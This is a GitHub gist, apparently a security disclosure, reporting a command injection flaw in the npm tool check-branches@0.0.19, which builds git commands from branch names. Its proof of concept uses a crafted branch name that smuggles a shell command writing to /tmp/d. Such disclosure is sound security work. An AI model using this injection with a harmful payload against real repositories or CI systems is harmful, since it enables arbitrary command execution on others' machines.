Skip to content

Instantly share code, notes, and snippets.

@lirantal
Created April 16, 2022 17:36
Show Gist options
  • Select an option

  • Save lirantal/054b4ad039a86c418f2c84e3e884d6ec to your computer and use it in GitHub Desktop.

Select an option

Save lirantal/054b4ad039a86c418f2c84e3e884d6ec to your computer and use it in GitHub Desktop.
Command Injection vulnerability in check-branches@0.0.19

Command Injection vulnerability in check-branches@0.0.19

check-branches describes itself as a "CLI to automatically check if your current repo branch has any conflicts with all other repo's branches. Really useful when working with big teams."

Resources:

Background on exploitation

I'm reporting an OS Command Injection vulnerability in check-branches npm package.

check-branches is a command-line tool that is interacted with locally, or via CI, to confirm no conflicts exist in git branches.

However, the library follows these conventions which can be abused:

  1. It trusts branche names as they are (plain text)
  2. It spawns git commands by concatenating user input

Since a branch name is potentially a user input, as users can create branches remotely, via pull requests, or simply due to privileged access to a repository, then they can effectively run any command.

Proof of Concept exploit

  1. Install check-branches@0.0.19 which is the latest.
npm install -g check-branches
  1. Make sure there's a valid git repository with remotes configured and at least one valid branch created

  2. Create a new git branch as follows: git checkout -b ";{echo,hello,world}>/tmp/d" (these charaters are indeed valid git branch names)

  3. Run the check-branches program in the git project: directory check-branches, and observe output similar to:

❯ check-branches
********************************
*  check-branches CLI v0.0.19  *
********************************

 ✔ generating report
Wow! Congratulations! Your current branch has no conflicts with any other liran-test-repo repo branches!
time for 'check': 151ms
  1. Confirm that the file /tmp/d was created with the contents of hello world in it.

Author

Liran Tal

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment